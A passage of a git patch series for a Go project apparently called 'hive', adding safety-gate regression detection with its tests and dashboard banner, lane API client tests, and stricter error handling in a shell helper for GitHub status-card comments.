gates of prior against +// effective and returns one entry per gate that effective has dropped or +// loosened. Tightenings and gates neither config sets are not reported. +func DetectGateRegressions(effective, prior *Config) []GateRegression { + if effective == nil || prior == nil { + return nil + } + var out []GateRegression + if g, ok := labelListRegression(GateReviewRequireLabels, prior.Review.RequireLabels, effective.Review.RequireLabels); ok { + out = append(out, g) + } + if g, ok := labelListRegression(GateIssueRequireLabels, prior.Project.IssueFilter.RequireLabels, effective.Project.IssueFilter.RequireLabels); ok { + out = append(out, g) + } + out = append(out, pausedRepoRegressions(effective, prior)...) + out = append(out, writebackPerRepoRegressions(effective, prior)...) + return out +} + +// labelListRegression reports a non-empty allow-list that became empty. +func labelListRegression(gate string, prior, effective []string) (GateRegression, bool) { + if len(nonBlank(prior)) == 0 || len(nonBlank(effective)) != 0 { + return GateRegression{}, false + } + return GateRegression{Gate: gate, Previous: formatList(prior), Effective: "none"}, true +} + +// pausedRepoRegressions reports each repo paused in prior that effective no +// longer pauses. Keys are org-qualified and case-folded the same way +// RepoPauseFor matches them, each config qualified with its own org. +func pausedRepoRegressions(effective, prior *Config) []GateRegression { + if len(prior.Project.PausedRepos) == 0 { + return nil + } + paused := effective.PausedRepoSet() + var out []GateRegression + for _, rp := range prior.Project.PausedRepos { + key := repoPauseKey(prior.Project.Org, rp.Repo) + if key == "" || paused[key] { + continue + } + out = append(out, GateRegression{ + Gate: fmt.Sprintf("%s[%s]", GatePausedRepos, key), + Previous: "paused", + Effective: "not paused", + }) + } + return out +} + +// repoModeStrictness orders writeback.per_repo modes from most to least +// restrictive. RepoModeDefault (no override, the kind matrix applies) sits +// between labels-only and full: dropping an off/issues-only/labels-only +// entry is a loosening, dropping a full entry is a tightening. +func repoModeStrictness(m writeback.RepoMode) int { + switch m { + case writeback.RepoModeOff: + return 0 + case writeback.RepoModeIssuesOnly: + return 1 + case writeback.RepoModeLabelsOnly: + return 2 + case writeback.RepoModeFull: + return 4 + default: + return 3 + } +} + +// writebackPerRepoRegressions reports each restrictive per-repo write-back +// mode in prior that effective resolves to a looser mode (or no override). +func writebackPerRepoRegressions(effective, prior *Config) []GateRegression { + if len(prior.Writeback.PerRepo) == 0 { + return nil + } + repos := make([]string, 0, len(prior.Writeback.PerRepo)) + for r := range prior.Writeback.PerRepo { + repos = append(repos, r) + } + sort.Strings(repos) + var out []GateRegression + for _, repo := range repos { + was := prior.Writeback.PerRepo[repo].Mode + if !was.Valid() || repoModeStrictness(was) >= repoModeStrictness(writeback.RepoModeDefault) { + continue + } + now := effective.Writeback.RepoModeFor(repo) + if repoModeStrictness(now) <= repoModeStrictness(was) { + continue + } + out = append(out, GateRegression{ + Gate: fmt.Sprintf("%s[%s].mode", GateWritebackPerRepo, strings.TrimSpace(repo)), + Previous: string(was), + Effective: formatRepoMode(now), + }) + } + return out +} + +func formatRepoMode(m writeback.RepoMode) string { + if m == writeback.RepoModeDefault { + return "no override (default matrix)" + } + return string(m) +} + +func nonBlank(in []string) []string { + var out []string + for _, s := range in { + if strings.TrimSpace(s) != "" { + out = append(out, strings.TrimSpace(s)) + } + } + return out +} + +func formatList(in []string) string { + return "[" + strings.Join(nonBlank(in), ", ") + "]" +} diff --git a/src/pkg/config/gate_regression_test.go b/src/pkg/config/gate_regression_test.go new file mode 100644 index 0000000000..32bbb9c1f5 --- /dev/null +++ b/src/pkg/config/gate_regression_test.go @@ -0,0 +1,199 @@ +package config + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/hivecommons/hive/pkg/writeback" +) + +func regCfg(org string, mutate func(c *Config)) *Config { + c := &Config{} + c.Project.Org = org + if mutate != nil { + mutate(c) + } + return c +} + +func gateRegNames(regs []GateRegression) []string { + out := make([]string, 0, len(regs)) + for _, g := range regs { + out = append(out, g.Gate) + } + return out +} + +func TestDetectGateRegressions(t *testing.T) { + full := func(c *Config) { + c.Review.RequireLabels = []string{"hive-review"} + c.Project.IssueFilter.RequireLabels = []string{"hive-ok"} + c.Project.PausedRepos = []RepoPause{{Repo: "Console"}} + c.Writeback.PerRepo = map[string]writeback.RepoOverride{ + "torch-spyre/spyre-inference": {Mode: writeback.RepoModeIssuesOnly}, + } + } + cases := []struct { + name string + prior *Config + effective *Config + want []string + wantPrev map[string]string + }{ + { + name: "unchanged", + prior: regCfg("acme", full), + effective: regCfg("acme", full), + }, + { + name: "no prior gates", + prior: regCfg("acme", nil), + effective: regCfg("acme", nil), + }, + { + name: "all dropped", + prior: regCfg("acme", full), + effective: regCfg("acme", func(c *Config) { + c.Review.RequireLabels = []string{" "} + }), + want: []string{ + GateReviewRequireLabels, + GateIssueRequireLabels, + GatePausedRepos + "[acme/console]", + GateWritebackPerRepo + "[torch-spyre/spyre-inference].mode", + }, + wantPrev: map[string]string{ + GateReviewRequireLabels: "[hive-review]", + GatePausedRepos + "[acme/console]": "paused", + GateWritebackPerRepo + "[torch-spyre/spyre-inference].mode": "issues-only", + }, + }, + { + name: "weakened per-repo writeback mode", + prior: regCfg("acme", full), + effective: regCfg("acme", func(c *Config) { + full(c) + c.Writeback.PerRepo["torch-spyre/spyre-inference"] = writeback.RepoOverride{Mode: writeback.RepoModeFull} + }), + want: []string{GateWritebackPerRepo + "[torch-spyre/spyre-inference].mode"}, + }, + { + name: "tightened per-repo writeback mode is not a regression", + prior: regCfg("acme", full), + effective: regCfg("acme", func(c *Config) { + full(c) + c.Writeback.PerRepo["torch-spyre/spyre-inference"] = writeback.RepoOverride{Mode: writeback.RepoModeOff} + }), + }, + { + name: "dropped full override is a tightening", + prior: regCfg("acme", func(c *Config) { + c.Writeback.PerRepo = map[string]writeback.RepoOverride{"acme/x": {Mode: writeback.RepoModeFull}} + }), + effective: regCfg("acme", nil), + }, + { + name: "label list changed but still non-empty", + prior: regCfg("acme", full), + effective: regCfg("acme", func(c *Config) { + full(c) + c.Review.RequireLabels = []string{"other-label"} + }), + }, + { + name: "pause matched across spellings", + prior: regCfg("acme", func(c *Config) { c.Project.PausedRepos = []RepoPause{{Repo: "acme/Console"}} }), + effective: regCfg("acme", func(c *Config) { + c.Project.PausedRepos = []RepoPause{{Repo: "console"}} + }), + }, + { + name: "nil configs", + prior: nil, + effective: regCfg("acme", nil), + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := DetectGateRegressions(tc.effective, tc.prior) + if strings.Join(gateRegNames(got), ",") != strings.Join(tc.want, ",") { + t.Fatalf("gates = %v, want %v", gateRegNames(got), tc.want) + } + for _, g := range got { + if want, ok := tc.wantPrev[g.Gate]; ok && g.Previous != want { + t.Errorf("%s previous = %q, want %q", g.Gate, g.Previous, want) + } + if g.Effective == "" { + t.Errorf("%s has empty effective value", g.Gate) + } + } + }) + } +} + +func TestDetectPriorOverlayGateRegressions(t *testing.T) { + dir := t.TempDir() + write := func(name, body string) string { + p := filepath.Join(dir, name) + if err := os.WriteFile(p, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + return p + } + effective := regCfg("acme", nil) + effective.SourcePath = write("hive.yaml", "project:\n org: acme\n") + + t.Run("no prior overlay", func(t *testing.T) { + got := DetectPriorOverlayGateRegressions(effective, []string{filepath.Join(dir, "missing.yaml")}) + if len(got) != 0 { + t.Fatalf("got %v, want none", got) + } + }) + + t.Run("empty and malformed overlays are ignored", func(t *testing.T) { + empty := write("hive.yaml.runtime", "") + bad := write("hive.yaml.runtime.bak", "review: [not: a: map\n") + if got := DetectPriorOverlayGateRegressions(effective, []string{empty, bad}); len(got) != 0 { + t.Fatalf("got %v, want none", got) + } + }) + + t.Run("effective source path is skipped", func(t *testing.T) { + eff := regCfg("acme", nil) + eff.SourcePath = write("gated.yaml", "project:\n org: acme\nreview:\n require_labels: [hive-review]\n") + if got := DetectPriorOverlayGateRegressions(eff, []string{eff.SourcePath}); len(got) != 0 { + t.Fatalf("got %v, want none", got) + } + }) + + t.Run("first overlay wins per gate, later overlays add new gates", func(t *testing.T) { + runtime := write("prior.runtime", "project:\n org: acme\nreview:\n require_labels: [hive-review]\n") + dash := write("prior.dashboard", "project:\n org: acme\n paused_repos:\n - repo: console\nreview:\n require_labels: [other]\n") + got := DetectPriorOverlayGateRegressions(effective, []string{runtime, dash}) + want := []string{GateReviewRequireLabels, GatePausedRepos + "[acme/console]"} + if strings.Join(gateRegNames(got), ",") != strings.Join(want, ",") { + t.Fatalf("gates = %v, want %v", gateRegNames(got), want) + } + if got[0].Previous != "[hive-review]" || got[0].Source != runtime { + t.Errorf("review gate = %+v, want previous from %s", got[0], runtime) + } + if got[1].Source != dash { + t.Errorf("pause gate source = %q, want %s", got[1].Source, dash) + } + }) +} + +func TestGateRegressionError_ListsEveryGate(t *testing.T) { + err := &GateRegressionError{Regressions: []GateRegression{ + {Gate: GateReviewRequireLabels, Previous: "[hive-review]", Effective: "none", Source: "/data/hive.yaml.runtime.bak"}, + {Gate: GatePausedRepos + "[acme/console]", Previous: "paused", Effective: "not paused"}, + }} + msg := err.Error() + for _, want := range []string{"refuse_gate_regression", "2 safety gate(s)", "review.require_labels (was [hive-review])", "acme/console", "/data/hive.yaml.runtime.bak"} { + if !strings.Contains(msg, want) { + t.Errorf("error %q lacks %q", msg, want) + } + } +} diff --git a/src/pkg/config/testdata/agent_runtime_golden.json b/src/pkg/config/testdata/agent_runtime_golden.json index 31797a5df0..9850c0d2d4 100644 --- a/src/pkg/config/testdata/agent_runtime_golden.json +++ b/src/pkg/config/testdata/agent_runtime_golden.json @@ -784,5 +784,6 @@ "forgestate": {}, "classification": { "review_bots": {} - } + }, + "config": {} } diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index 2ab315d0c7..1389c1e6e6 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -3735,9 +3735,28 @@ func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) { payload.UpgradeProgress = s.upgradeProgress(status, now) payload.Writeback = s.WritebackStatus() payload.Hotspots = s.HotspotStatusBlock() + payload.Config = s.configHealthStatus() statusJSONResponse(w, r, filterStatusPayload(&payload, r.URL.Query().Get("fields"), r.URL.Query().Get("omit"))) } +// ConfigHealthStatus is the `config` block of /api/status: what the boot +// found wrong with the loaded config itself, as opposed to what it says. +type ConfigHealthStatus struct { + // GateRegressions lists the safety gates a previous runtime overlay + // carried that the running config lacks or weakens (#16438). Always a + // list, empty on a healthy boot, so the dashboard banner needs no + // presence check. + GateRegressions []config.GateRegression `json:"gate_regressions"` +} + +func (s *Server) configHealthStatus() *ConfigHealthStatus { + out := &ConfigHealthStatus{GateRegressions: []config.GateRegression{}} + if s.deps != nil && s.deps.Config != nil && len(s.deps.Config.GateRegressions) > 0 { + out.GateRegressions = append(out.GateRegressions, s.deps.Config.GateRegressions...) + } + return out +} + // statusWithWebhooks adds the live webhook health block (#11177) and the // governor loop's pacing (evalMode, lastWakeReason) to the cached status // payload at serve time, so neither is a whole eval cycle stale. @@ -3765,6 +3784,10 @@ type statusWithWebhooks struct { // concurrent PRs in the window, how many warrant a split, how many have // a modularize issue filed. Absent when the advisor is not wired. Hotspots *HotspotStatus `json:"hotspots,omitempty"` + // Config reports boot-time findings about the loaded config itself: + // config.gate_regressions is the safety gates a previous runtime + // overlay carried that this boot dropped (#16438). + Config *ConfigHealthStatus `json:"config,omitempty"` } func (s *Server) handleStatusSummary(w http.ResponseWriter, r *http.Request) { diff --git a/src/pkg/dashboard/static-src/css/config-dialog.css b/src/pkg/dashboard/static-src/css/config-dialog.css index 66f42f13b8..52c22bfa41 100644 --- a/src/pkg/dashboard/static-src/css/config-dialog.css +++ b/src/pkg/dashboard/static-src/css/config-dialog.css @@ -363,6 +363,7 @@ .cmp-banner { border: 1px solid color-mix(in srgb, var(--yellow) 45%, transparent); background: color-mix(in srgb, var(--yellow) 8%, transparent); border-radius: var(--r); padding: var(--sp-4) var(--sp-5); margin-bottom: var(--sp-6); font-size: var(--fs-sm); } .cmp-banner strong { color: var(--text); } .cmp-banner-detail { color: var(--muted); margin-top: var(--sp-2); } + ul.cmp-banner-detail { margin: var(--sp-2) 0 0 var(--sp-5); } .cmp-framework { display: flex; gap: var(--sp-4); align-items: flex-start; padding: var(--sp-3) var(--sp-0); cursor: pointer; } .cmp-framework input { width: auto; margin-top: var(--sp-1); } .cmp-framework-name { font-weight: 600; color: var(--text); } diff --git a/src/pkg/dashboard/static-src/js/config-tabs.js b/src/pkg/dashboard/static-src/js/config-tabs.js index 117ed0a479..db3df650d0 100644 --- a/src/pkg/dashboard/static-src/js/config-tabs.js +++ b/src/pkg/dashboard/static-src/js/config-tabs.js @@ -35,7 +35,7 @@ // agent's kick history over the selected time window. if (tabId === AGENT_PROMPTS_TAB) initAgentPromptHistory(); } else { - body.innerHTML = renderGovernorTab(tabId); + body.innerHTML = renderGateRegressionBanner() + renderGovernorTab(tabId); settingsAnnotateRows(body); if (tabId === 'Hub') { fetchQueueCount(); fetchAutoUpdateStatus(); } // The escalation breaker lives at the top level of hive.yaml, so the @@ -70,6 +70,18 @@ if (typeof syncRepoSaveGuard === 'function') syncRepoSaveGuard(); } + // Safety-gate regression banner (#16438): /api/status config.gate_regressions + // lists the gates (review.require_labels, project.paused_repos, …) a + // previous runtime overlay carried that this boot's config dropped or + // loosened. Shown at the top of every Settings tab until the operator + // restores the gate (or removes it on purpose) and the hive restarts. + function renderGateRegressionBanner() { + const regs = ((window._lastStatus || {}).config || {}).gate_regressions || []; + if (!regs.length) return ''; + const items = regs.map(g => `
  • ${esc(g.gate || '')} was ${esc(g.previous || '')}, now ${esc(g.effective || '')}${g.source ? ` (from ${esc(g.source)})` : ''}
  • `).join(''); + return ``; + } + function renderAgentImport() { var exampleURL = 'https://github.com/hivecommons/hive/blob/HEAD/src/examples/agents/customized-agent.yaml'; var rawURL = 'https://raw.githubusercontent.com/hivecommons/hive/HEAD/src/examples/agents/customized-agent.yaml'; diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 12732f88eb..7d2c8e03e6 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -4386,6 +4386,7 @@ .cmp-banner { border: 1px solid color-mix(in srgb, var(--yellow) 45%, transparent); background: color-mix(in srgb, var(--yellow) 8%, transparent); border-radius: var(--r); padding: var(--sp-4) var(--sp-5); margin-bottom: var(--sp-6); font-size: var(--fs-sm); } .cmp-banner strong { color: var(--text); } .cmp-banner-detail { color: var(--muted); margin-top: var(--sp-2); } + ul.cmp-banner-detail { margin: var(--sp-2) 0 0 var(--sp-5); } .cmp-framework { display: flex; gap: var(--sp-4); align-items: flex-start; padding: var(--sp-3) var(--sp-0); cursor: pointer; } .cmp-framework input { width: auto; margin-top: var(--sp-1); } .cmp-framework-name { font-weight: 600; color: var(--text); } @@ -52337,7 +52338,7 @@

    Configure LiteLLM

    // agent's kick history over the selected time window. if (tabId === AGENT_PROMPTS_TAB) initAgentPromptHistory(); } else { - body.innerHTML = renderGovernorTab(tabId); + body.innerHTML = renderGateRegressionBanner() + renderGovernorTab(tabId); settingsAnnotateRows(body); if (tabId === 'Hub') { fetchQueueCount(); fetchAutoUpdateStatus(); } // The escalation breaker lives at the top level of hive.yaml, so the @@ -52372,6 +52373,18 @@

    Configure LiteLLM

    if (typeof syncRepoSaveGuard === 'function') syncRepoSaveGuard(); } + // Safety-gate regression banner (#16438): /api/status config.gate_regressions + // lists the gates (review.require_labels, project.paused_repos, …) a + // previous runtime overlay carried that this boot's config dropped or + // loosened. Shown at the top of every Settings tab until the operator + // restores the gate (or removes it on purpose) and the hive restarts. + function renderGateRegressionBanner() { + const regs = ((window._lastStatus || {}).config || {}).gate_regressions || []; + if (!regs.length) return ''; + const items = regs.map(g => `
  • ${esc(g.gate || '')} was ${esc(g.previous || '')}, now ${esc(g.effective || '')}${g.source ? ` (from ${esc(g.source)})` : ''}
  • `).join(''); + return ``; + } + function renderAgentImport() { var exampleURL = 'https://github.com/hivecommons/hive/blob/HEAD/src/examples/agents/customized-agent.yaml'; var rawURL = 'https://raw.githubusercontent.com/hivecommons/hive/HEAD/src/examples/agents/customized-agent.yaml'; From edcb058e79a8d174e5738cb4ac06c1d2780bbe48 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 17:52:48 +0000 Subject: [PATCH 08/87] test(crux/api): cover the lane client wire paths in-package (#16455) Every method in crux/api/lanes_client.go read 0% in the crux/api coverprofile: the lane client is only exercised from crux/serve and pkg/laneparticipant, which the per-package floor does not count. The new test pins the routes, path escaping, request bodies, the 204 nil-claim contract and lane error-code surfacing against a fake server, the same way client_test.go pins the agent routes. Signed-off-by: quality <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: quality <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- src/crux/api/lanes_client_test.go | 216 ++++++++++++++++++++++++++++++ 1 file changed, 216 insertions(+) create mode 100644 src/crux/api/lanes_client_test.go diff --git a/src/crux/api/lanes_client_test.go b/src/crux/api/lanes_client_test.go new file mode 100644 index 0000000000..601bae91f7 --- /dev/null +++ b/src/crux/api/lanes_client_test.go @@ -0,0 +1,216 @@ +package api + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" +) + +// laneServer is the lane half of the wire contract: it records every +// request (method, URI, body) and answers with canned lane documents so the +// typed lane methods are tested against the contract, not crux/serve. +type laneServer struct { + mu sync.Mutex + requests []string + bodies []string +} + +func (l *laneServer) handler() http.Handler { + mux := http.NewServeMux() + record := func(h http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + data, _ := io.ReadAll(r.Body) + l.mu.Lock() + l.requests = append(l.requests, r.Method+" "+r.URL.RequestURI()) + l.bodies = append(l.bodies, string(data)) + l.mu.Unlock() + h(w, r) + } + } + writeJSON := func(w http.ResponseWriter, v any) { + w.Header().Set("Content-Type", ContentTypeJSON) + _ = json.NewEncoder(w).Encode(v) + } + expires := time.Date(2026, 11, 3, 12, 0, 0, 0, time.UTC) + + mux.HandleFunc("GET "+PathLanes, record(func(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, []Lane{{ID: "exchange", Owner: "atlas", Groups: map[string][]string{"workers": {"beacon"}}}}) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/publish", record(func(w http.ResponseWriter, r *http.Request) { + if r.PathValue("lane") == "full" { + w.WriteHeader(http.StatusConflict) + writeJSON(w, Error{Error: "lane exchange is full", Code: CodeLaneCapacity}) + return + } + writeJSON(w, LanePublished{Sequence: 7, Duplicate: r.PathValue("lane") == "dup"}) + })) + mux.HandleFunc("GET "+PathLanes+"/{lane}/events", record(func(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, LaneReplay{Cursor: 9, Events: []LaneRecord{{Sequence: 9, Envelope: LaneEnvelope{Lane: "exchange", LanePublish: LanePublish{ID: "e1", Kind: LaneEvent}}}}}) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/groups/{group}/claim", record(func(w http.ResponseWriter, r *http.Request) { + if r.PathValue("group") == "idle" { + w.WriteHeader(http.StatusNoContent) + return + } + writeJSON(w, LaneClaim{LaneRecord: LaneRecord{Sequence: 3}, Receipt: "r-3", Attempt: 2, Expires: expires}) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/groups/{group}/ack", record(func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusNoContent) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/groups/{group}/nack", record(func(w http.ResponseWriter, r *http.Request) { + if r.PathValue("group") == "stale" { + w.WriteHeader(http.StatusConflict) + writeJSON(w, Error{Error: "receipt is stale", Code: CodeLaneStale}) + return + } + w.WriteHeader(http.StatusNoContent) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/groups/{group}/renew", record(func(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, LaneRenewed{Expires: expires}) + })) + mux.HandleFunc("GET "+PathLanes+"/{lane}/groups/{group}", record(func(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, LaneGroupState{Revision: 4, Cursor: 9, LastSequence: 11, Slots: 2, Recoverable: []LaneReceipt{{Sequence: 10, Receipt: "r-10"}}}) + })) + mux.HandleFunc("POST "+PathLanes+"/{lane}/groups/{group}/recover", record(func(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, LaneRecovered{ID: "rec-1", Cursor: 11, Retired: []uint64{10}, RecoveredAt: expires}) + })) + return mux +} + +func (l *laneServer) seen() (requests, bodies []string) { + l.mu.Lock() + defer l.mu.Unlock() + return append([]string(nil), l.requests...), append([]string(nil), l.bodies...) +} + +func startLaneServer(t *testing.T) (*laneServer, *Client) { + t.Helper() + l := &laneServer{} + srv := httptest.NewServer(l.handler()) + t.Cleanup(srv.Close) + c, err := NewClient(srv.URL, "tok") + if err != nil { + t.Fatal(err) + } + return l, c +} + +func TestLanePathsEscapeSegments(t *testing.T) { + if got := lanePath("a b/c"); got != PathLanes+"/a%20b%2Fc" { + t.Fatalf("lanePath %q", got) + } + if got := laneGroupPath("ex", "wor kers"); got != PathLanes+"/ex/groups/wor%20kers" { + t.Fatalf("laneGroupPath %q", got) + } +} + +func TestLaneClientRoutesAndDecodes(t *testing.T) { + l, c := startLaneServer(t) + ctx := context.Background() + + lanes, err := c.LaneRegistry(ctx) + if err != nil || len(lanes) != 1 || lanes[0].ID != "exchange" || lanes[0].Groups["workers"][0] != "beacon" { + t.Fatalf("registry %+v %v", lanes, err) + } + pub, err := c.PublishLane(ctx, "ex change", LanePublish{ID: "w1", Kind: LaneWork, Schema: "s", Payload: []byte(`{"x":1}`)}) + if err != nil || pub.Sequence != 7 || pub.Duplicate { + t.Fatalf("publish %+v %v", pub, err) + } + if pub, err = c.PublishLane(ctx, "dup", LanePublish{ID: "w1"}); err != nil || !pub.Duplicate { + t.Fatalf("duplicate publish %+v %v", pub, err) + } + replay, err := c.ReplayLane(ctx, "exchange", 5, 20) + if err != nil || replay.Cursor != 9 || len(replay.Events) != 1 || replay.Events[0].Envelope.ID != "e1" { + t.Fatalf("replay %+v %v", replay, err) + } + claim, err := c.ClaimLane(ctx, "exchange", "work ers") + if err != nil || claim == nil || claim.Receipt != "r-3" || claim.Sequence != 3 || claim.Attempt != 2 || claim.Expires.IsZero() { + t.Fatalf("claim %+v %v", claim, err) + } + // 204 means nothing to claim: nil claim, nil error, by contract. + if idle, err := c.ClaimLane(ctx, "exchange", "idle"); err != nil || idle != nil { + t.Fatalf("idle claim %+v %v", idle, err) + } + receipt := LaneReceipt{Sequence: 3, Receipt: "r-3"} + if err := c.AckLane(ctx, "exchange", "workers", receipt); err != nil { + t.Fatalf("ack %v", err) + } + if err := c.NackLane(ctx, "exchange", "workers", receipt); err != nil { + t.Fatalf("nack %v", err) + } + renewed, err := c.RenewLane(ctx, "exchange", "workers", receipt) + if err != nil || renewed.Expires.Year() != 2026 { + t.Fatalf("renew %+v %v", renewed, err) + } + state, err := c.InspectLaneGroup(ctx, "exchange", "workers") + if err != nil || state.Revision != 4 || state.LastSequence != 11 || state.Slots != 2 || len(state.Recoverable) != 1 { + t.Fatalf("inspect %+v %v", state, err) + } + recovered, err := c.RecoverLaneGroup(ctx, "exchange", "workers", LaneRecover{ID: "rec-1", Revision: 4, CursorThrough: 11, Missing: []uint64{10}}) + if err != nil || recovered.ID != "rec-1" || recovered.Cursor != 11 || len(recovered.Retired) != 1 { + t.Fatalf("recover %+v %v", recovered, err) + } + + requests, bodies := l.seen() + wantRequests := []string{ + "GET /v1/lanes", + "POST /v1/lanes/ex%20change/publish", + "POST /v1/lanes/dup/publish", + "GET /v1/lanes/exchange/events?cursor=5&limit=20", + "POST /v1/lanes/exchange/groups/work%20ers/claim", + "POST /v1/lanes/exchange/groups/idle/claim", + "POST /v1/lanes/exchange/groups/workers/ack", + "POST /v1/lanes/exchange/groups/workers/nack", + "POST /v1/lanes/exchange/groups/workers/renew", + "GET /v1/lanes/exchange/groups/workers", + "POST /v1/lanes/exchange/groups/workers/recover", + } + if strings.Join(requests, "\n") != strings.Join(wantRequests, "\n") { + t.Fatalf("requests:\n%s\nwant:\n%s", strings.Join(requests, "\n"), strings.Join(wantRequests, "\n")) + } + // Bodies: GETs and claim send nothing; publish carries the envelope, + // ack/nack/renew the receipt, recover the fence. + for i, want := range []string{"", `"id":"w1","kind":"work","schema":"s","payload":"eyJ4IjoxfQ=="`, `"id":"w1"`, "", "", "", + `{"sequence":3,"receipt":"r-3"}`, `{"sequence":3,"receipt":"r-3"}`, `{"sequence":3,"receipt":"r-3"}`, "", + `"id":"rec-1","revision":4,"cursor_through":11,"expired":null,"missing":[10]`} { + if want == "" { + if bodies[i] != "" { + t.Errorf("request %d %s: unexpected body %q", i, requests[i], bodies[i]) + } + continue + } + if !strings.Contains(bodies[i], want) { + t.Errorf("request %d %s: body %q lacks %q", i, requests[i], bodies[i], want) + } + } +} + +func TestLaneClientSurfacesLaneErrorCodes(t *testing.T) { + _, c := startLaneServer(t) + ctx := context.Background() + + _, err := c.PublishLane(ctx, "full", LanePublish{ID: "w2"}) + var se *StatusError + if !errors.As(err, &se) || se.Status != http.StatusConflict || se.Body.Code != CodeLaneCapacity || err.Error() != "lane exchange is full" { + t.Fatalf("publish capacity error: %v (%+v)", err, se) + } + err = c.NackLane(ctx, "exchange", "stale", LaneReceipt{Sequence: 1, Receipt: "old"}) + if !errors.As(err, &se) || se.Body.Code != CodeLaneStale { + t.Fatalf("stale nack error: %v (%+v)", err, se) + } + // An unreachable server is a transport error, not a StatusError. + dead, err := NewClient("127.0.0.1:1", "") + if err != nil { + t.Fatal(err) + } + if _, err := dead.LaneRegistry(ctx); !errors.Is(err, ErrUnreachable) || errors.As(err, &se) { + t.Fatalf("unreachable registry: %v", err) + } +} From 55318dc61f6b1c6ce2c271bd84d0001ac9839256 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 18:14:42 +0000 Subject: [PATCH 09/87] =?UTF-8?q?=F0=9F=8C=B1=20chore(actions):=20surface?= =?UTF-8?q?=20status-card=20helper=20failures=20and=20add=20its=20regressi?= =?UTF-8?q?on=20test=20(#16451)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .github/scripts/hive-status-card.sh | 57 +++++- .github/scripts/integration-governance.cjs | 2 +- .github/scripts/test-hive-status-card.sh | 164 ++++++++++++++++++ changelog.d/fixed-16363-status-card-errors.md | 1 + src/docs/notifications.md | 9 + src/scripts/comment-merged-refs.sh | 22 ++- src/scripts/test-comment-merged-refs.sh | 31 ++++ 7 files changed, 272 insertions(+), 14 deletions(-) create mode 100755 .github/scripts/test-hive-status-card.sh create mode 100644 changelog.d/fixed-16363-status-card-errors.md diff --git a/.github/scripts/hive-status-card.sh b/.github/scripts/hive-status-card.sh index d866cb4c6a..2f1ce5b31d 100755 --- a/.github/scripts/hive-status-card.sh +++ b/.github/scripts/hive-status-card.sh @@ -7,6 +7,15 @@ # hive-status-card.sh has REPO NUMBER SECTION exit 0 if the card has a matching section # hive-status-card.sh upsert REPO NUMBER MARKER BODY_FILE edit the comment carrying MARKER, else create it # +# Exit status of `has`: 0 = the card carries SECTION, 1 = it does not (or no +# card exists), 3 = the comments could not be read (the API call failed, or +# the response was not a JSON list of comment objects). A caller must treat 3 +# as a failure, never as absence: absence makes a workflow post, and posting +# on a read failure is exactly the duplicate this helper exists to prevent. +# `upsert` exits 3 for the same read failure without POSTing or PATCHing; +# a failed PATCH/POST exits non-zero with gh's status. On exit 3 a line +# starting `hive-status-card: error:` is written to stderr. +# # SECTION matches `` by exact KEY (e.g. # `issue-close`, `issue-partial:163`). Only when SECTION ends in `:` is it a # prefix (e.g. `issue-partial:` matches any `issue-partial:`), so @@ -28,24 +37,53 @@ set -euo pipefail GH_BIN="${GH_BIN:-gh}" HIVE_COMMENT_AUTHOR="${HIVE_COMMENT_AUTHOR:-github-actions[bot]}" +READ_ERROR=3 + +read_error() { + echo "hive-status-card: error: $*" >&2 + exit "$READ_ERROR" +} +# Prints the issue's comments as one validated flat JSON array, or exits +# READ_ERROR. Validation happens here so the matchers below never see a shape +# that would make Python exit 1 (which would read as "absent"). comments() { + local raw flat="1" if [ -n "${HIVE_COMMENTS_FILE:-}" ]; then - cat "$HIVE_COMMENTS_FILE" - return + raw=$(cat "$HIVE_COMMENTS_FILE") || read_error "cannot read HIVE_COMMENTS_FILE ${HIVE_COMMENTS_FILE}" + else + raw=$("$GH_BIN" api --paginate --slurp "repos/$1/issues/$2/comments?per_page=100") || + read_error "GET repos/$1/issues/$2/comments failed" + flat="0" fi - "$GH_BIN" api --paginate --slurp "repos/$1/issues/$2/comments?per_page=100" | - python3 -c 'import json,sys -out=[] -for page in json.load(sys.stdin): out.extend(page) -json.dump(out, sys.stdout)' + printf '%s' "$raw" | python3 -c 'import json,sys +flat = sys.argv[1] == "1" +try: + data = json.load(sys.stdin) +except ValueError as e: + sys.exit("response is not JSON: %s" % e) +if not isinstance(data, list): + sys.exit("expected a JSON list, got %s" % type(data).__name__) +pages = [data] if flat else data +out = [] +for page in pages: + if not isinstance(page, list): + sys.exit("expected a list of comment pages, got a %s page" % type(page).__name__) + out.extend(page) +for c in out: + if not isinstance(c, dict): + sys.exit("comment is a %s, not an object" % type(c).__name__) + if not isinstance(c.get("user") or {}, dict) or not 